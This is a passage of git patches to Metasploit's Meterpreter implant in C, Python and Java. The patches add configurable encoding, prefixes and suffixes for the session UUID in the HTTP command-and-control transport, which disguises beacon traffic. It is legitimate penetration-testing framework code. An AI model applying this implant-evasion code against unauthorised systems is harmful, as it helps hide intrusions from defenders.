35 insertions(+), 12 deletions(-) diff --git a/python/meterpreter/meterpreter.py b/python/meterpreter/meterpreter.py index 91674472b..b979fa9a0 100644 --- a/python/meterpreter/meterpreter.py +++ b/python/meterpreter/meterpreter.py @@ -179,7 +179,10 @@ TLV_TYPE_C2_PREFIX = TLV_META_TYPE_RAW | 718 # Data to prepend to the outgoing payload TLV_TYPE_C2_SUFFIX = TLV_META_TYPE_RAW | 719 # Data to append to the outgoing payload TLV_TYPE_C2_ENC_INBOUND = TLV_META_TYPE_UINT | 720 # Server->client (response) body encoding -TLV_TYPE_C2_ENC_OUTBOUND = TLV_META_TYPE_UINT | 728 # Client->server (request) body/metadata encoding +TLV_TYPE_C2_ENC_OUTBOUND = TLV_META_TYPE_UINT | 728 # Client->server (request) body encoding (POST only) +TLV_TYPE_C2_ENC_UUID = TLV_META_TYPE_UINT | 729 # Encoding applied to the UUID before placement +TLV_TYPE_C2_UUID_PREFIX = TLV_META_TYPE_RAW | 730 # Bytes to prepend to the encoded UUID +TLV_TYPE_C2_UUID_SUFFIX = TLV_META_TYPE_RAW | 731 # Bytes to append to the encoded UUID TLV_TYPE_C2_PREFIX_SKIP = TLV_META_TYPE_UINT | 721 # Size of prefix to skip (in bytes) TLV_TYPE_C2_SUFFIX_SKIP = TLV_META_TYPE_UINT | 722 # Size of suffix to skip (in bytes) TLV_TYPE_C2_UUID_COOKIE = TLV_META_TYPE_STRING | 723 # Name of the cookie to put the UUID in @@ -928,6 +931,9 @@ def _parse_c2_verb_options(group_bytes): opts['headers'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_HEADERS).get('value') opts['enc_inbound'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_ENC_INBOUND).get('value', C2_ENCODING_NONE) opts['enc_outbound'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_ENC_OUTBOUND).get('value', C2_ENCODING_NONE) + opts['enc_uuid'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_ENC_UUID).get('value', C2_ENCODING_NONE) + opts['uuid_prefix'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_UUID_PREFIX).get('value', b'') + opts['uuid_suffix'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_UUID_SUFFIX).get('value', b'') opts['prefix_skip'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_PREFIX_SKIP).get('value', 0) opts['suffix_skip'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_SUFFIX_SKIP).get('value', 0) opts['prefix'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_PREFIX).get('value') @@ -1133,20 +1139,35 @@ def _c2_decode(data, enc_flags): return base64.urlsafe_b64decode(data) return data + @staticmethod + def _render_uuid(c2_opts, uuid): + """Apply the profile's UUID transform (encode + prepend + append).""" + if not uuid: + return '' + enc = c2_opts.get('enc_uuid', C2_ENCODING_NONE) + prefix = c2_opts.get('uuid_prefix') or b'' + suffix = c2_opts.get('uuid_suffix') or b'' + uuid_bytes = uuid.encode() if is_str(uuid) else uuid + encoded = HttpTransport._c2_encode(uuid_bytes, enc) + return (prefix + encoded + suffix).decode('latin-1') + def _build_request_url(self, c2_opts, uuid=None): """Build the request URL using C2 profile options.""" - # Start with the base URL (scheme://host:port) + # Start with the base URL (scheme://host:port) — the profile's + # per-verb `set uri` is the authoritative path, so LURI from + # self.url is intentionally discarded here. match = re.match(r'(https?://[^/]+)', self.url) base_url = match.group(1) if match else self.url uri = c2_opts.get('uri') or '' url = base_url + '/' + uri.lstrip('/') + rendered = self._render_uuid(c2_opts, uuid) if uuid else '' # No param/header/cookie placement => id is carried in the URI. - if uuid and c2_opts.get('uuid_get'): + if rendered and c2_opts.get('uuid_get'): separator = '&' if '?' in url else '?' - url = url + separator + c2_opts['uuid_get'] + '=' + uuid - elif uuid and not (c2_opts.get('uuid_header') or c2_opts.get('uuid_cookie')): - url = url.rstrip('/') + '/' + uuid + url = url + separator + c2_opts['uuid_get'] + '=' + rendered + elif rendered and not (c2_opts.get('uuid_header') or c2_opts.get('uuid_cookie')): + url = url.rstrip('/') + '/' + rendered return url def _build_request_headers(self, c2_opts, uuid=None): @@ -1158,10 +1179,11 @@ def _build_request_headers(self, c2_opts, uuid=None): headers[p[0].strip()] = ':'.join(p[1:]).strip() if c2_opts.get('ua'): headers['User-Agent'] = c2_opts['ua'] - if uuid and c2_opts.get('uuid_header'): - headers[c2_opts['uuid_header']] = uuid - if uuid and c2_opts.get('uuid_cookie'): - cookie_val = c2_opts['uuid_cookie'] + '=' + uuid + rendered = self._render_uuid(c2_opts, uuid) if uuid else '' + if rendered and c2_opts.get('uuid_header'): + headers[c2_opts['uuid_header']] = rendered + if rendered and c2_opts.get('uuid_cookie'): + cookie_val = c2_opts['uuid_cookie'] + '=' + rendered existing = headers.get('Cookie') headers['Cookie'] = existing + '; ' + cookie_val if existing else cookie_val return headers @@ -1172,7 +1194,8 @@ def _get_uuid(self): return self.c2_uuid match = re.match(r'https?://[^/]+/(.*?)/?$', self.url) if match: - return match.group(1).split('/')[-1] + extracted = match.group(1).split('/')[-1] + return extracted return '' def _get_packet(self): @@ -1218,7 +1241,7 @@ def _get_packet(self): pkt_length = struct.unpack('>I', header[PACKET_LENGTH_OFF:PACKET_LENGTH_OFF + PACKET_LENGTH_SIZE])[0] - 8 if len(packet) != (pkt_length + PACKET_HEADER_SIZE): packet = None # looks corrupt - except: + except Exception as e: debug_traceback('[-] failure to receive packet from ' + url) if not packet: From a768921c114213271f42c60655effb1472b2387f Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2026 15:30:35 +1000 Subject: [PATCH 20/35] Move to STRING instead of RAW for UUID prefix/suffix --- c/meterpreter/source/common/common_core.h | 3 + c/meterpreter/source/common/common_remote.h | 3 + .../source/metsrv/server_http_utils.c | 171 +++++++++++++----- .../source/metsrv/server_http_utils.h | 1 + .../source/metsrv/server_transport_winhttp.c | 20 ++ python/meterpreter/meterpreter.py | 20 +- 6 files changed, 162 insertions(+), 56 deletions(-) diff --git a/c/meterpreter/source/common/common_core.h b/c/meterpreter/source/common/common_core.h index fd93b5cf9..a16e093b6 100644 --- a/c/meterpreter/source/common/common_core.h +++ b/c/meterpreter/source/common/common_core.h @@ -200,6 +200,9 @@ typedef enum TLV_TYPE_C2_SUFFIX = TLV_VALUE(TLV_META_TYPE_RAW, 719), ///! Data to append to the outgoing payload TLV_TYPE_C2_ENC_INBOUND = TLV_VALUE(TLV_META_TYPE_UINT, 720), ///! Server->client (response) body encoding flags TLV_TYPE_C2_ENC_OUTBOUND = TLV_VALUE(TLV_META_TYPE_UINT, 728), ///! Client->server (request) body encoding flags + TLV_TYPE_C2_ENC_UUID = TLV_VALUE(TLV_META_TYPE_UINT, 729), ///! Encoding applied to the UUID before placement + TLV_TYPE_C2_UUID_PREFIX = TLV_VALUE(TLV_META_TYPE_STRING, 730), ///! String to prepend to the encoded UUID + TLV_TYPE_C2_UUID_SUFFIX = TLV_VALUE(TLV_META_TYPE_STRING, 731), ///! String to append to the encoded UUID TLV_TYPE_C2_PREFIX_SKIP = TLV_VALUE(TLV_META_TYPE_UINT, 721), ///! Size of prefix to skip (in bytes) TLV_TYPE_C2_SUFFIX_SKIP = TLV_VALUE(TLV_META_TYPE_UINT, 722), ///! Size of suffix to skip (in bytes) TLV_TYPE_C2_UUID_COOKIE = TLV_VALUE(TLV_META_TYPE_STRING, 723), ///! Name of the cookie to put the UUID in diff --git a/c/meterpreter/source/common/common_remote.h b/c/meterpreter/source/common/common_remote.h index 486d4b066..ab6ad8601 100644 --- a/c/meterpreter/source/common/common_remote.h +++ b/c/meterpreter/source/common/common_remote.h @@ -85,6 +85,9 @@ typedef struct _HttpRequestOptions UINT payload_suffix_skip; ///! Size of the incoming suffix to ignore UINT encode_flags_inbound; ///! Flags to indicate how server->client (response) bodies are encoded. UINT encode_flags_outbound; ///! Flags to indicate how client->server (request) bodies are encoded. + UINT encode_flags_uuid; ///! Flags to indicate how the UUID is encoded before placement. + STRTYPE uuid_prefix; ///! String to prepend to the (encoded) UUID before placement. + STRTYPE uuid_suffix; ///! String to append to the (encoded) UUID after placement. STRTYPE uuid_get; ///! The name of the GET/query string parameter to put the UUID in (optional). STRTYPE uuid_cookie; ///! The name of the cookie to put the UUID in (optional). STRTYPE uuid_header; ///! The name of the HTTP Header to put the UUID in (optional). diff --git a/c/meterpreter/source/metsrv/server_http_utils.c b/c/meterpreter/source/metsrv/server_http_utils.c index 46a6b1219..67454d0ba 100644 --- a/c/meterpreter/source/metsrv/server_http_utils.c +++ b/c/meterpreter/source/metsrv/server_http_utils.c @@ -153,62 +153,130 @@ BOOL decode_encoded_packet(HttpTransportContext* ctx, LPBYTE encodedData, DWORD * the buffer, and will know not to do so by the \c FALSE result. Otherwise * the caller should free() the \c data buffer when the result is \c TRUE. */ -BOOL encode_raw_packet(HttpTransportContext* ctx, LPBYTE data, DWORD dataLen, LPBYTE* encodedData, LPDWORD encodedDataLen) +/*! + * @brief Apply a C2 encoding (base64 / base64url) to a byte buffer. + * @returns A newly malloc'd buffer the caller must free, or NULL if the + * requested encoding is NONE/URL/unsupported or allocation fails. + * *outLen is set on success. + */ +static LPBYTE c2_encode_buf(LPBYTE data, DWORD dataLen, UINT enc, LPDWORD outLen) { - HttpConnection* conn = &ctx->post_connection; - BOOL result = FALSE; + if (enc != C2_ENCODING_B64 && enc != C2_ENCODING_B64URI) + { + return NULL; + } - switch (conn->options.encode_flags_outbound) + DWORD flags = CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF; + if (!CryptBinaryToStringA(data, dataLen, flags, NULL, outLen)) { - case C2_ENCODING_URL: + return NULL; + } + + LPBYTE encoded = (LPBYTE)calloc(sizeof(BYTE), *outLen + 1); + if (encoded == NULL) { - // TODO? - break; + return NULL; } - case C2_ENCODING_B64: - case C2_ENCODING_B64URI: + + if (!CryptBinaryToStringA(data, dataLen, flags, encoded, outLen)) { - DWORD flags = CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF; + free(encoded); + return NULL; + } - if (CryptBinaryToStringA(data, dataLen, flags, NULL, encodedDataLen)) - { - LPBYTE encoded = (LPBYTE)calloc(sizeof(BYTE), *encodedDataLen + 1); - if (encoded != NULL) - { - if (CryptBinaryToStringA(data, dataLen, flags, encoded, encodedDataLen)) - { - if (conn->options.encode_flags_outbound == C2_ENCODING_B64URI) - { - b64_to_b64uri(encoded, encodedDataLen); - } + if (enc == C2_ENCODING_B64URI) + { + b64_to_b64uri(encoded, outLen); + } - result = TRUE; - *encodedData = encoded; - } - else - { - free(encoded); - } - } - } + return encoded; +} - break; - } - case C2_ENCODING_NONE: - default: +BOOL encode_raw_packet(HttpTransportContext* ctx, LPBYTE data, DWORD dataLen, LPBYTE* encodedData, LPDWORD encodedDataLen) +{ + UINT enc = ctx->post_connection.options.encode_flags_outbound; + LPBYTE encoded = c2_encode_buf(data, dataLen, enc, encodedDataLen); + if (encoded != NULL) { - // do nothing here, as the data doesn't need to be handled - break; + *encodedData = encoded; + return TRUE; } + + *encodedData = data; + *encodedDataLen = dataLen; + return FALSE; +} + +/*! + * @brief Resolve the effective UUID transform options for a connection, + * preferring per-verb settings then falling back to the transport-wide + * defaults. Lets callers honour `id`/`metadata` directives from the C2 + * profile without each placement site having to re-do the lookup. + */ +static void resolve_uuid_opts(HttpTransportContext* ctx, HttpConnection* conn, + UINT* enc, PWSTR* prefix, PWSTR* suffix) +{ + *enc = conn && conn->options.encode_flags_uuid ? conn->options.encode_flags_uuid : ctx->default_options.encode_flags_uuid; + *prefix = conn && conn->options.uuid_prefix ? conn->options.uuid_prefix : ctx->default_options.uuid_prefix; + *suffix = conn && conn->options.uuid_suffix ? conn->options.uuid_suffix : ctx->default_options.uuid_suffix; +} + +/*! + * @brief Encode a UUID per the profile (base64 / base64url), then wrap + * with the configured uuid_prefix/uuid_suffix strings. Returns a malloc'd + * wide string the caller must free, or NULL on empty input / failure. + */ +PWSTR render_uuid(HttpTransportContext* ctx, HttpConnection* conn, PCWSTR uuid) +{ + if (!uuid || !*uuid) return NULL; + + UINT enc = 0; + PWSTR prefix = NULL, suffix = NULL; + resolve_uuid_opts(ctx, conn, &enc, &prefix, &suffix); + + size_t uuid_len = wcslen(uuid); + size_t prefix_len = prefix ? wcslen(prefix) : 0; + size_t suffix_len = suffix ? wcslen(suffix) : 0; + + /* Encode (when requested) in the byte domain, then widen the result + * char-by-char — base64/base64url output is pure ASCII so this is + * faithful, and avoids a CP_*-specific widening step. */ + LPBYTE encoded = NULL; + DWORD encoded_len = 0; + BOOL free_encoded = FALSE; + if (enc == C2_ENCODING_B64 || enc == C2_ENCODING_B64URI) + { + LPBYTE uuid_bytes = (LPBYTE)calloc(uuid_len + 1, sizeof(BYTE)); + if (!uuid_bytes) return NULL; + for (size_t i = 0; i < uuid_len; i++) { uuid_bytes[i] = (BYTE)uuid[i]; } + + encoded = c2_encode_buf(uuid_bytes, (DWORD)uuid_len, enc, &encoded_len); + free(uuid_bytes); + if (!encoded) return NULL; + free_encoded = TRUE; } - if (!result) + size_t encoded_wlen = encoded ? encoded_len : uuid_len; + size_t total = prefix_len + encoded_wlen + suffix_len; + PWSTR out = (PWSTR)calloc(total + 1, sizeof(wchar_t)); + if (out) { - *encodedData = data; - *encodedDataLen = dataLen; + PWSTR p = out; + if (prefix_len > 0) { wmemcpy(p, prefix, prefix_len); p += prefix_len; } + if (encoded) + { + for (DWORD j = 0; j < encoded_len; j++) { *p++ = (wchar_t)encoded[j]; } + } + else + { + wmemcpy(p, uuid, uuid_len); + p += uuid_len; + } + if (suffix_len > 0) { wmemcpy(p, suffix, suffix_len); } } - return result; + if (free_encoded) free(encoded); + return out; } /*! @@ -230,10 +298,12 @@ PWSTR generate_headers(HttpTransportContext* ctx, HttpConnection* conn) PWSTR uuidHeader = conn->options.uuid_header ? conn->options.uuid_header : ctx->default_options.uuid_header; if (uuidHeader) { - // UUID is going in the header, so we need to add it. Let's hope people aren't - // stupid enough to double-up this header. Length needs to include space for \r\n and the colon/space, - // AND the UUID length itself. - size_t extraHeaderLength = wcslen(uuidHeader) + 2 + wcslen(ctx->uuid) + 2; + PWSTR rendered = render_uuid(ctx, conn, ctx->uuid); + PCWSTR uuidValue = rendered ? rendered : ctx->uuid; + + // UUID is going in the header, so we need to add it. Length needs space for + // \r\n and the colon/space, AND the (possibly transformed) UUID length itself. + size_t extraHeaderLength = wcslen(uuidHeader) + 2 + wcslen(uuidValue) + 2; size_t totalHeaderLength = extraHeaderLength + (headers ? wcslen(headers) : 0) + 2; outboundHeaders = (PWCHAR)calloc(totalHeaderLength, sizeof(wchar_t)); @@ -244,7 +314,8 @@ PWSTR generate_headers(HttpTransportContext* ctx, HttpConnection* conn) } wcscat_s(outboundHeaders, totalHeaderLength, uuidHeader); wcscat_s(outboundHeaders, totalHeaderLength, L": "); - wcscat_s(outboundHeaders, totalHeaderLength, ctx->uuid); + wcscat_s(outboundHeaders, totalHeaderLength, uuidValue); + SAFE_FREE(rendered); } else if (headers) { @@ -296,10 +367,13 @@ PWSTR generate_uri(HttpTransportContext* ctx, HttpConnection* conn) // -- /some/uri/(UUID)?some=thing(¶m=UUID) // The location of the UUID changes depending on what's provided in the configuration + PWSTR rendered = render_uuid(ctx, conn, ctx->uuid); + PCWSTR uuidValue = rendered ? rendered : ctx->uuid; + PWCHAR queryString = wcschr(baseUri, L'?'); size_t queryStringLen = queryString ? wcslen(queryString) : 0; size_t baseUriLen = queryString ? queryString - baseUri : wcslen(baseUri); - size_t uuidLen = wcslen(ctx->uuid) + 2; // enough space for including slashes if required + size_t uuidLen = wcslen(uuidValue) + 2; // enough space for including slashes if required if (getParam) { @@ -316,7 +390,7 @@ PWSTR generate_uri(HttpTransportContext* ctx, HttpConnection* conn) if (!getParam) { wcscat_s(uri, uriLen, L"/"); - wcscat_s(uri, uriLen, ctx->uuid); + wcscat_s(uri, uriLen, uuidValue); wcscat_s(uri, uriLen, L"/"); } @@ -332,9 +406,10 @@ PWSTR generate_uri(HttpTransportContext* ctx, HttpConnection* conn) wcscat_s(uri, uriLen, queryString ? L"&" : L"?"); wcscat_s(uri, uriLen, conn->options.uuid_get); wcscat_s(uri, uriLen, L"="); - wcscat_s(uri, uriLen, ctx->uuid); + wcscat_s(uri, uriLen, uuidValue); } + SAFE_FREE(rendered); dprintf("[GENURI] final URI: %S", uri); return uri; diff --git a/c/meterpreter/source/metsrv/server_http_utils.h b/c/meterpreter/source/metsrv/server_http_utils.h index e1c37fa06..1c02f4093 100644 --- a/c/meterpreter/source/metsrv/server_http_utils.h +++ b/c/meterpreter/source/metsrv/server_http_utils.h @@ -11,5 +11,6 @@ BOOL decode_encoded_packet(HttpTransportContext* ctx, LPBYTE encodedData, DWORD BOOL encode_raw_packet(HttpTransportContext* conn, LPBYTE data, DWORD dataLen, LPBYTE* encodedData, LPDWORD encodedDataLen); PWSTR generate_headers(HttpTransportContext* ctx, HttpConnection* conn); PWSTR generate_uri(HttpTransportContext* ctx, HttpConnection* conn); +PWSTR render_uuid(HttpTransportContext* ctx, HttpConnection* conn, PCWSTR uuid); #endif diff --git a/c/meterpreter/source/metsrv/server_transport_winhttp.c b/c/meterpreter/source/metsrv/server_transport_winhttp.c index 939be3edb..b35d4de06 100644 --- a/c/meterpreter/source/metsrv/server_transport_winhttp.c +++ b/c/meterpreter/source/metsrv/server_transport_winhttp.c @@ -890,6 +890,8 @@ static void destroy_options(HttpRequestOptions* options) SAFE_FREE(options->headers); SAFE_FREE(options->payload_prefix); SAFE_FREE(options->payload_suffix); + SAFE_FREE(options->uuid_prefix); + SAFE_FREE(options->uuid_suffix); SAFE_FREE(options->uuid_cookie); SAFE_FREE(options->uuid_header); SAFE_FREE(options->uuid_get); @@ -955,6 +957,18 @@ BOOL set_http_options_to_tlv(Packet* optionsPacket, HttpRequestOptions* sourceOp { packet_add_tlv_uint(optionsPacket, TLV_TYPE_C2_ENC_OUTBOUND, sourceOptions->encode_flags_outbound); } + if (sourceOptions->encode_flags_uuid != 0) + { + packet_add_tlv_uint(optionsPacket, TLV_TYPE_C2_ENC_UUID, sourceOptions->encode_flags_uuid); + } + if (sourceOptions->uuid_prefix != NULL) + { + packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_UUID_PREFIX, sourceOptions->uuid_prefix); + } + if (sourceOptions->uuid_suffix != NULL) + { + packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_UUID_SUFFIX, sourceOptions->uuid_suffix); + } if (sourceOptions->headers != NULL) { packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_HEADERS, sourceOptions->headers); @@ -1058,6 +1072,9 @@ BOOL get_http_options_from_tlv(Packet* packet, Tlv* optionsTlv, HttpRequestOptio targetOptions->encode_flags_inbound = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_ENC_INBOUND); targetOptions->encode_flags_outbound = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_ENC_OUTBOUND); + targetOptions->encode_flags_uuid = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_ENC_UUID); + targetOptions->uuid_prefix = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UUID_PREFIX, NULL); + targetOptions->uuid_suffix = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UUID_SUFFIX, NULL); targetOptions->headers = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_HEADERS, NULL); targetOptions->payload_prefix = packet_get_tlv_group_entry_value_raw_copy(packet, optionsTlv, TLV_TYPE_C2_PREFIX, &payloadSize); targetOptions->payload_prefix_size = payloadSize; @@ -1096,6 +1113,9 @@ static void debug_print_http_options(PSTR type, HttpRequestOptions* options) { dprintf("[HTTP OPTION] - %s - Encode Flags Inbound: 0x%x", type, options->encode_flags_inbound); dprintf("[HTTP OPTION] - %s - Encode Flags Outbound: 0x%x", type, options->encode_flags_outbound); + dprintf("[HTTP OPTION] - %s - Encode Flags UUID: 0x%x", type, options->encode_flags_uuid); + dprintf("[HTTP OPTION] - %s - UUID Prefix: %S", type, options->uuid_prefix); + dprintf("[HTTP OPTION] - %s - UUID Suffix: %S", type, options->uuid_suffix); dprintf("[HTTP OPTION] - %s - Headers: %S", type, options->headers); dprintf("[HTTP OPTION] - %s - Payload Prefix Size: %u", type, options->payload_prefix_size); dprintf("[HTTP OPTION] - %s - Payload Prefix: %s", type, options->payload_prefix); diff --git a/python/meterpreter/meterpreter.py b/python/meterpreter/meterpreter.py index b979fa9a0..2c5c36be3 100644 --- a/python/meterpreter/meterpreter.py +++ b/python/meterpreter/meterpreter.py @@ -181,8 +181,8 @@ TLV_TYPE_C2_ENC_INBOUND = TLV_META_TYPE_UINT | 720 # Server->client (response) body encoding TLV_TYPE_C2_ENC_OUTBOUND = TLV_META_TYPE_UINT | 728 # Client->server (request) body encoding (POST only) TLV_TYPE_C2_ENC_UUID = TLV_META_TYPE_UINT | 729 # Encoding applied to the UUID before placement -TLV_TYPE_C2_UUID_PREFIX = TLV_META_TYPE_RAW | 730 # Bytes to prepend to the encoded UUID -TLV_TYPE_C2_UUID_SUFFIX = TLV_META_TYPE_RAW | 731 # Bytes to append to the encoded UUID +TLV_TYPE_C2_UUID_PREFIX = TLV_META_TYPE_STRING | 730 # String to prepend to the encoded UUID +TLV_TYPE_C2_UUID_SUFFIX = TLV_META_TYPE_STRING | 731 # String to append to the encoded UUID TLV_TYPE_C2_PREFIX_SKIP = TLV_META_TYPE_UINT | 721 # Size of prefix to skip (in bytes) TLV_TYPE_C2_SUFFIX_SKIP = TLV_META_TYPE_UINT | 722 # Size of suffix to skip (in bytes) TLV_TYPE_C2_UUID_COOKIE = TLV_META_TYPE_STRING | 723 # Name of the cookie to put the UUID in @@ -932,8 +932,8 @@ def _parse_c2_verb_options(group_bytes): opts['enc_inbound'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_ENC_INBOUND).get('value', C2_ENCODING_NONE) opts['enc_outbound'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_ENC_OUTBOUND).get('value', C2_ENCODING_NONE) opts['enc_uuid'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_ENC_UUID).get('value', C2_ENCODING_NONE) - opts['uuid_prefix'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_UUID_PREFIX).get('value', b'') - opts['uuid_suffix'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_UUID_SUFFIX).get('value', b'') + opts['uuid_prefix'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_UUID_PREFIX).get('value', '') + opts['uuid_suffix'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_UUID_SUFFIX).get('value', '') opts['prefix_skip'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_PREFIX_SKIP).get('value', 0) opts['suffix_skip'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_SUFFIX_SKIP).get('value', 0) opts['prefix'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_PREFIX).get('value') @@ -1141,15 +1141,19 @@ def _c2_decode(data, enc_flags): @staticmethod def _render_uuid(c2_opts, uuid): - """Apply the profile's UUID transform (encode + prepend + append).""" + """Apply the profile's UUID transform (encode + prepend + append). + prefix/suffix are profile strings; the encoded UUID is base64/base64url + ASCII — everything lives in the string domain.""" if not uuid: return '' enc = c2_opts.get('enc_uuid', C2_ENCODING_NONE) - prefix = c2_opts.get('uuid_prefix') or b'' - suffix = c2_opts.get('uuid_suffix') or b'' + prefix = c2_opts.get('uuid_prefix') or '' + suffix = c2_opts.get('uuid_suffix') or '' uuid_bytes = uuid.encode() if is_str(uuid) else uuid encoded = HttpTransport._c2_encode(uuid_bytes, enc) - return (prefix + encoded + suffix).decode('latin-1') + if isinstance(encoded, bytes): + encoded = encoded.decode('latin-1') + return prefix + encoded + suffix def _build_request_url(self, c2_opts, uuid=None): """Build the request URL using C2 profile options.""" From ea445135289752adbc4b182cea854b82fe01e91f Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2026 17:08:28 +1000 Subject: [PATCH 21/35] Support MC2 and stageless in java properly --- .../metasploit/meterpreter/HttpTransport.java | 59 +++++++++++++++---- .../metasploit/meterpreter/Meterpreter.java | 19 +++++- .../metasploit/meterpreter/StagelessMain.java | 11 +++- .../meterpreter/core/core_transport_add.java | 6 +- .../src/main/java/com/metasploit/TLVType.java | 6 +- .../com/metasploit/stage/C2VerbConfig.java | 6 +- .../com/metasploit/stage/ConfigParser.java | 6 +- 7 files changed, 94 insertions(+), 19 deletions(-) diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java index 72df397d6..f0b71e471 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java @@ -65,7 +65,12 @@ public void bind(DataInputStream in, OutputStream rawOut) { @Override public boolean patchUuid(String uuid) { + // MC2 mode: only swap the UUID; the profile rebuilds the URL. + System.err.println("[MC2DBG] patchUuid uuid=" + uuid + " c2Get=" + (c2Get != null) + " c2Post=" + (c2Post != null)); this.c2Uuid = uuid; + if (this.c2Get != null || this.c2Post != null) { + return true; + } try { // can't use getAuthority() here thanks to java 1.2. Ugh. String newUrl = this.targetUrl.getProtocol() + "://" @@ -312,11 +317,12 @@ private void useNextUrl() { } private String getUuidFromUrl() { - // Prefer TLV_TYPE_C2_UUID; fall back to URL path's last segment. if (this.c2Uuid != null && this.c2Uuid.length() > 0) { + System.err.println("[MC2DBG] getUuidFromUrl c2Uuid=" + this.c2Uuid); return this.c2Uuid; } String path = this.targetUrl.getPath(); + System.err.println("[MC2DBG] getUuidFromUrl targetUrl.path=" + path); if (path == null || path.length() <= 1) { return ""; } @@ -325,14 +331,34 @@ private String getUuidFromUrl() { path = path.substring(0, path.length() - 1); } int lastSlash = path.lastIndexOf('/'); - if (lastSlash >= 0) { - return path.substring(lastSlash + 1); + String result = (lastSlash >= 0) ? path.substring(lastSlash + 1) : path; + System.err.println("[MC2DBG] getUuidFromUrl from URL -> " + result); + return result; + } + + /** + * Apply the profile's UUID transform (encode + prepend + append) to the + * raw UUID before placement. Returns the rendered string, or "" for empty + * input. + */ + private static String renderUuid(C2VerbConfig profile, String uuid) { + if (uuid == null || uuid.length() == 0) { + return ""; } - return path; + if (profile == null) { + return uuid; + } + byte[] encoded = c2Encode(uuid.getBytes(), profile.encUuid); + String body = new String(encoded); // base64/base64url output is ASCII + String prefix = profile.uuidPrefix != null ? profile.uuidPrefix : ""; + String suffix = profile.uuidSuffix != null ? profile.uuidSuffix : ""; + return prefix + body + suffix; } private URL buildProfileUrl(C2VerbConfig profile) throws MalformedURLException { + System.err.println("[MC2DBG] buildProfileUrl profile=" + (profile == null ? "null" : "set") + " profile.uri=" + (profile != null ? profile.uri : "(n/a)")); if (profile == null || profile.uri == null) { + System.err.println("[MC2DBG] buildProfileUrl falling through to targetUrl=" + this.targetUrl); return this.targetUrl; } @@ -346,16 +372,25 @@ private URL buildProfileUrl(C2VerbConfig profile) throws MalformedURLException { } String fullUrl = baseUrl + uri; + String renderedUuid = renderUuid(profile, getUuidFromUrl()); + System.err.println("[MC2DBG] buildProfileUrl baseUrl=" + baseUrl + " uri=" + uri + " renderedUuid=" + renderedUuid); - // Add UUID as query parameter if configured if (profile.uuidGet != null) { - String uuid = getUuidFromUrl(); - if (uuid.length() > 0) { + if (renderedUuid.length() > 0) { String separator = fullUrl.indexOf('?') >= 0 ? "&" : "?"; - fullUrl = fullUrl + separator + profile.uuidGet + "=" + uuid; + fullUrl = fullUrl + separator + profile.uuidGet + "=" + renderedUuid; + } + } else if (profile.uuidHeader == null && profile.uuidCookie == null) { + // No param/header/cookie placement => carry the id in the URI path. + if (renderedUuid.length() > 0) { + if (fullUrl.endsWith("/")) { + fullUrl = fullUrl.substring(0, fullUrl.length() - 1); + } + fullUrl = fullUrl + "/" + renderedUuid; } } + System.err.println("[MC2DBG] buildProfileUrl final fullUrl=" + fullUrl); return new URL(fullUrl); } @@ -364,13 +399,13 @@ private void applyProfileHeaders(URLConnection conn, C2VerbConfig profile) { return; } if (profile.uuidHeader != null) { - String uuid = getUuidFromUrl(); + String uuid = renderUuid(profile, getUuidFromUrl()); if (uuid.length() > 0) { conn.addRequestProperty(profile.uuidHeader, uuid); } } if (profile.uuidCookie != null) { - String uuid = getUuidFromUrl(); + String uuid = renderUuid(profile, getUuidFromUrl()); if (uuid.length() > 0) { conn.addRequestProperty("Cookie", profile.uuidCookie + "=" + uuid); } @@ -556,7 +591,7 @@ private static byte[] decodeResponse(byte[] rawResponse, C2VerbConfig profile) { byte[] stripped = new byte[end - start]; System.arraycopy(rawResponse, start, stripped, 0, stripped.length); - return c2Decode(stripped, profile.enc); + return c2Decode(stripped, profile.encInbound); } private static byte[] encodeRequest(byte[] data, C2VerbConfig profile) { @@ -564,7 +599,7 @@ private static byte[] encodeRequest(byte[] data, C2VerbConfig profile) { return data; } - byte[] encoded = c2Encode(data, profile.enc); + byte[] encoded = c2Encode(data, profile.encOutbound); byte[] prefix = profile.prefix; byte[] suffix = profile.suffix; diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java index ca0ce7b20..c66f651d1 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java +++ 